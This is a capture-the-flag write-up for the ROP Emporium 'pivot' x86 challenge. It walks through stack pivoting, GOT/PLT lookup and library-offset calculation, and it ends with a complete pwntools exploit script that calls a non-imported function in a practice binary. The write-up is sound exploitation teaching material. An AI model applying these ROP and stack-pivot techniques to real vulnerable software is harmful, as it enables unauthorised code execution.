ROP Emporium pivot Writeup (x86)
Introduction
ROP Emporium provides a series of challenges to learn and practice Return Oriented Programming (ROP). This is the seventh challenge of eight.
According to the challenge page our goal is to call ret2win
from the libpivot
library. This function isn’t imported so we’ll need to calculate its offset from another imported function. Stack space is also limited so we’ll need to “pivot” our stack to a new location.
This is what a hint will look like!
Running the Program
I believe in you, you can do this
Typically these challenges follow the format of asking the user for input and then exiting but this challenge is slightly different
Our first input will be copied to an address which will change every time (likely space that was allocated on the heap). Since this address changes, we’ll need to construct our pivot payload dynamically. This input should contain our ROP chain which runs after the stack pointer is changed.
The second input is where we’ll start our ROP chain. This is where we’ll pivot the stack to a new address.
Offset
The offset for x86
challenges will be 44 bytes
. If you want to know how to find this value see the first writeup of this series.
Useful Gadgets
Check out
uselesssFunction
’s assembly
Let’s check the usefulGadgets
section in uselessFunction
. We can view the assembly with the following commands in radare2
1
2
3
4
aaa
s sym.uselessFunction
V
p
The first two gadgets will be used for stack pivoting and the last two for calling
ret2win
Stack Pivoting
Use the address provided by the program to pivot to. If you’re stuck read the pwntools documentation
The xchg instruction will exchange/swap the values of the provided registers. With these gadgets, we have a way to control the stack pointer esp
.
The program provides an address to switch to, but it changes every time it’s run. This means we need to create a payload based on the output. pwntools
is able to read the output of a program so we can change the stack pointer esp
with this python code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/bin/python3
from pwn import *
pop_eax = 0x0804882c
xchg_esp_eax = 0x0804882e
# set esp to addr
def set_esp(addr):
payload = p32(pop_eax) + p32(addr)
payload += p32(xchg_esp_eax)
return payload
# create pivot payload
io = process('./pivot32')
io.recvuntil(b'pivot: ')
addr_output = io.recvline()
# remove \n and convert to number
malloc_addr = addr_output[0:-1]
malloc_addr = int(malloc_addr, 16)
pivot_payload = b'A' * 44
pivot_payload += set_esp(malloc_addr)
ret2win
After our stack pivots, it will continue to run our ROP chain in this new location. Our next step is to call the ret2win
function to read the flag. The only problem is this function isn’t imported!
Library Foothold
Analyze the library
libpivot32.so
and compare it to thepivot32
binary
Let’s see what functions from libpivot32
are available in pivot32
. We can list functions in radare2
with the afl
command
Here are the pivot32
functions
And here are the libpivot32
functions
The conveniently named foothold_function
with the address 0x08048520
is shared and will give us a foothold into the library!
Global Offset Table and Procedure Linkage Table
Find the lookup address for
foothold_function
If you want a fuller understanding of the plt
(procedure linkage table) and the got
(global offset table) you can check the How lazy binding works
section in the ROP Emporium Beginners Guide as well as this fantastic blog post
Essentially, these two tables are used by the program to lookup function addresses from a dynamically loaded library. These entries are filled only when that function is called by the program. The base library address will change whenever the program runs, but the .got.plt
location will remain the same!
The .got.plt
section will contain our function address after it’s looked up so let’s find the address which corresponds to the foothold_function
. Section addresses can be found with the iS
command
The .got.plt
address is 0x0804a000
so let’s investigate this area more
The .got.plt
address of the foothold_function
is 0x0804a024
Library Offset
What’s the offset between
ret2win
andfoothold_function
?
The base address of the library libpivot32
will change whenever the program is run. However, the relative distance between functions will remain the same!
If we want to call a different function in the library, we’ll need to find the offset between the foothold_function
and our target function. Let’s check libpivot32
’s function list again
The address of foothold_function
is 0x0000077d
and the address of ret2win
is 0x00000974
The offset between ret2win
and foothold_function
is 503
or 0x1f7
. By adding this value to the foothold_function
’s .got.plt
entry, we’ll be able to call ret2win
!
Calling ret2win
Find the necessary gadgets and create the ROP chain
Our prep work is done so now we can chain some gadgets together. Here are the last two gadgets from the usefulGadgets
section
The first gadget, mov eax, dword [eax]
, will give us a way to read a value at an address. Perfect for reading the foothold_function
’s .got.plt
entry!
The second gadget, add eax, ebx
, will give us a way to apply our calculated offset to the foothold_function
address.
What we need now are ways to set ebx
, along with a way to get to our new address.
We already have a
pop eax
gadget from our stack pivot payload!
Let’s start with looking for a pop ebx
gadget
1
/R pop ebx
Alright we have enough gadgets to calculate the address for ret2win
, now we need a gadget to call
eax
1
/R call eax
Combining these gadgets with our curated values we can construct a payload to call ret2win
!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/bin/python3
from pwn import *
pop_eax = 0x0804882c
add_eax_ebx = 0x08048833
pop_ebx = 0x080488b6
dereference_eax = 0x08048830
foothold_got_plt = 0x0804a024
foothold_addr = 0x08048520
ret2win_offset = 0x1f7
call_eax = 0x080485f0
# create flag payload
# call foothold_function() to lookup
# current .got.plt address
flag_payload = p32(foothold_addr)
# calculate ret2win address
flag_payload += p32(pop_eax) + p32(foothold_got_plt)
flag_payload += p32(dereference_eax)
flag_payload += p32(pop_ebx) + p32(ret2win_offset)
flag_payload += p32(add_eax_ebx)
# call ret2win
flag_payload += p32(call_eax)
Exploit
We have everything we need to build our exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#!/bin/python3
from pwn import *
pop_eax = 0x0804882c
add_eax_ebx = 0x08048833
xchg_esp_eax = 0x0804882e
pop_ebx = 0x080488b6
call_eax = 0x080485f0
dereference_eax = 0x08048830
foothold_got_plt = 0x0804a024
foothold_addr = 0x08048520
ret2win_offset = 0x1f7
# set esp to addr
def set_esp(addr):
payload = p32(pop_eax) + p32(addr)
payload += p32(xchg_esp_eax)
return payload
# create pivot payload
io = process('./pivot32')
io.recvuntil(b'pivot: ')
addr_output = io.recvline()
# remove \n and convert to number
malloc_addr = addr_output[0:-1]
malloc_addr = int(malloc_addr, 16)
pivot_payload = b'A' * 44
pivot_payload += set_esp(malloc_addr)
# create flag payload
# call foothold_function() to lookup
# the current function address
flag_payload = p32(foothold_addr)
# calculate ret2win address
flag_payload += p32(pop_eax) + p32(foothold_got_plt)
flag_payload += p32(dereference_eax)
flag_payload += p32(pop_ebx) + p32(ret2win_offset)
flag_payload += p32(add_eax_ebx)
# call ret2win
flag_payload += p32(call_eax)
# send payloads + receive flag
io.send(flag_payload)
io.recvuntil(b'>')
io.send(pivot_payload)
io.recvuntil(b'pivot\n')
flag = io.recvline()
log.success(flag.decode('utf-8'))
Conclusion
In this challenge we learned how to call non imported functions from a library by using an offset, as well as how to pivot the stack from a new location to gain more space. The next and final challenge will go over constructing ROP chains with a limited number of available gadgets (there is no x86
version of the final challenge)